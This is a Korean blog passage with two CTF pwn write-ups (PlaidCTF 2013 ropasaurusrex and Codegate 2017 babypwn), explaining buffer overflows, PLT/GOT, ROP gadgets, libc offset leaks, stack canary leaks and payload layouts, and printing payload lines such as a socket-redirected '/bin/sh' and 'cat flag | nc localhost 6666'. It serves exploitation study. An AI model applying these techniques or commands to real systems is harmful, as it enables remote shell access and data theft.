ropasuarusrex는 32-bit ELF파일이고 NX만 걸려있다. 데이터영역에서 코드실행이 안되므로 쉘코드는 넣지 못한다.


아이다를 이용해서 메인부터 분석했다. 엄청 간단했는데 

함수가 하나 있고 리턴값으로 WIN이 출력되어 나온다. 


sub_80483F4함수 내부로 들어가니

buf가 136바이트 만큼 선언된다. 그렇지만 read함수에서 버퍼사이즈를 넘는 256바이트의 문자열길이까지 받도록 되어있다.


이부분에서 bof가 발생한다.


ida에 나와있는데 write@plt주소와 read@plt주소를 구해주고.

plt내부로 들어가면 jmp하는 부분이 있는데 [함수 호출]--->[PLT로 이동]--->[GOT 참조]

과정에 따라 노란줄부분의 주소가 각각 write@got, read@got의 주소값이다.


objdump -d ropasaurusrex 명령어를 통해 pppr의 가젯을 찾아준다. 왜 pppr인가?

=> read함수와 write함수 모두 세개의 인자를 갖기 때문이다.



objdump -h ropasaurusrex 명령어를 통해 "/bin/sh" 문자열을 넣어줄 영역을 찾는다.

bss영역을 이용하도록 한다.



ldd(List Dynamic Dependencies)는 프로그램이나 공유 라이브러리들이 요구하는 공유 라이브러리(shared libraries)를 출력하는 명령 행(Command Line)프로그램이다.

ldd명령어를 통해 ropasaurusrex가 사용하는 공유라이브러리를 알 수 있었고 aslr이 걸려있어서 주소가 매번 바뀌는 것을 볼 수 있었다. 그래서 프로그램이 실행되면 나오는 실제 read함수의 주소를 이용한다. 

라이브러리 안에 있는 read와 system함수의 offset값의 차를 이용해서 페이로드에서 leak할 실제 read함수 주소에 더하면 실제 system함수의 주소가 나온다. 


offset값의 차를 이용하는 이유?

libc내부에서 함수들의 사이 거리는 항상 일정하기 때문이다.


libc base address + system함수 offset = 실제read함수의 주소 +(system함수 offset - read함수 offset) 


read offset - system offset = 0x9ad60


시나리오



준비물:

read_plt주소 / write_plt주소 / read_got주소 / write_got주소 / pppr주소 / bss영역 주소 / read - sys offset값



1. 버퍼(136)과 sfp(4)를 덮을 더미값을 넣는다.

2. read함수를 이용해서 bss영역에 "/bin/sh"문자열을 넣는다.  표준입력 0을 이용해서 client가 보낸 "/bin/sh"를 읽어서 bss영역에 담는다.

파이썬 코드 중 r.send(sh) 부분을 서버에서 입력받음 pppr을거쳐 다음으로   

3. write함수를 이용해서 read_got에 담겨있는 read함수의 주소를 표준출력 1을 이용해서 client에 보낸다.

파이썬 코드 중 read_leak=u32(r.recv(4)) 부분에서 출력을 받아 변수에 저장한다. pppr을거쳐 다음으로 

4. read함수는 이용해서 write_got에 system 함수의 주소를 넣는다. 표준입력 0을 이용해서 client가 보낸 real_sys를 읽어서 write_got에 담는다.

파이썬 코드 중 r.sendline(p32(real_sys))부분을 서버에서 입력받음 pppr을거쳐 다음으로 

5. 마지막으로 write를 이용하지만 결국 write_got가 4번 과정에서 system주소로 overwriting되었기 때문에 system함수가 실행될 것이다.


 

최종






'CTF' 카테고리의 다른 글

[SSG] easy_linux_reversing  (0) 2018.05.02
[Codegate 2017] babypwn  (0) 2018.02.06


라이브러리가 동적 링크되어있는 것을 알 수 있다. 즉, plt got 과정을 거쳐서 필요한 함수만 호출한다.

PLT(Procedure Linkage Table)

PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다.. 

GOT(Global Offset Table)

GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.


ex) scanf함수호출이 처음일 경우

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조]--->[다시PLT로 이동]--->[_dl_runtime_resolve]--->[GOT 저장 후, 실제 함수 주소로 점프]

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조] ---> [scanf함수로 점프]


ckecksec쉘 스크립트를 통해서 실행파일이 스택 카나리와 NX가 적용되어 있는 것을 알 수 있다.

즉 이용해야 할것     1.Canary leak     2.ROP 



ida를 이용해서 main을 분석해보니 fork를 사용하는 소켓 서버이고 소켓과 관련없는 함수 sub_8028B87(); 덩그러니있다.

내부로 들어가본다.



노란 부분의 첫번째 함수를 보니

이런 문자열을 출력하고 다음 함수 내부를 보면...



4번 줄에 char v2를 보면 ebp-34h이고 카나리인 v3는 ebp-Ch이기 때문에 

1. v2는 0x34-0x0c인것을 알 수 있다.

2. 8번 라인에 memset는 대부분 memset(string,0,strlen(string))과 같은 구조로 사용 되기 때문에  v2가 40바이트라는 것을 유추 할 수 있다.



노란 부분이 100바이트를 받는 걸로 봐서 취약한것으로 의심이 된다.


내부를 보면 recv()로 소켓으로부터 데이터를 수신한다.

이제 카나리를 읽어본다.


카나리 첫바이트가 null이여서 leak이 안되는 것으로 의심된다. A를 하나 더 넣고 돌려보면



카나리값도 출력된다. 값은 0x5695be00


스택구조를 그려보자면 

<낮은주소----v2(40)+canary(4)+dummy(0xc-4)+sfp(4)+ret(4)----높은주소>

위와 같다.


페이로드

<낮은주소----buffer(40) | canary(4) | dummy(12) | recv@plt(4) | ppppr_addr(4) | recv 1번째 인자 4(4) | bss_addr(4) | len(sh) (4) | 

recv 4번째 인자 0(4) | system@plt(4) | dummy(4) 원랜 ret어드레스 | bss_addr (4)----높은주소>


recv()함수의 3번째 인자의 자료형인 size_t는 32/64환경에 따라 4바이트, 8바이트이다.
파이썬프로그램은 소켓디스크립터는 4를 사용한다.
ps -ef 명령어를 사용하면 pts가 4이다.
oiehso0    9092   6377  0 11:20 pts/4    00:00:00 python remote.py

recv함수 레퍼런스 : http://forum.falinux.com/zbxe/index.php?document_srl=441107&mid=C_LIB


시나리오

1.recv함수가 실행되며 ebp+8 부터 4개의 인자를 이용해 실행된다. recv함수가  bss_addr에 cmd 문자열을 담는 과정

2.종료후 원래 ret주소인 ppppr_addr자리가 ppppr_addr로 변조 되었으므로 스택보인터가 네번 내려가고 ret명령을 호출한다. ret은 pop eip + jmp eip의 줄임이다.

3.system함수가 호출되어 시나리오 1번과정에서 담았던 bss_addr의 문자열을 인자로 하여 실행된다. system 함수는 ebp+8의 인자를 사용한다.


ida가 구해놓은 system@plt와 recv@plt의 주소를 얻고



objdump -h babypwn 명령어를 이용하여 bss영역의 주소를 구해준다.



objdump -d babypwn 명령어를 이용해서 pppr_addr을 구해준다 좀만 위로 올리니까 바로 발견할 수 있었다.





최종


sh = "/bin/sh >&4 <&4 2>&4를 설명하자면 exploit.py << 이 프로그램이 실행되는 동안 출력(>&4), 입력(<&4), 오류(2>&4)를 리다이렉션한다.

아니면 위 대신

r.send('id | nc localhost 6666')

r.send('cat flag | nc localhost 6666') 

이런식으로 코드를 짜도 된다.




'CTF' 카테고리의 다른 글

[SSG] easy_linux_reversing  (0) 2018.05.02
[PlaidCTF 2013] ropasaurusrex  (0) 2018.02.07

+ Recent posts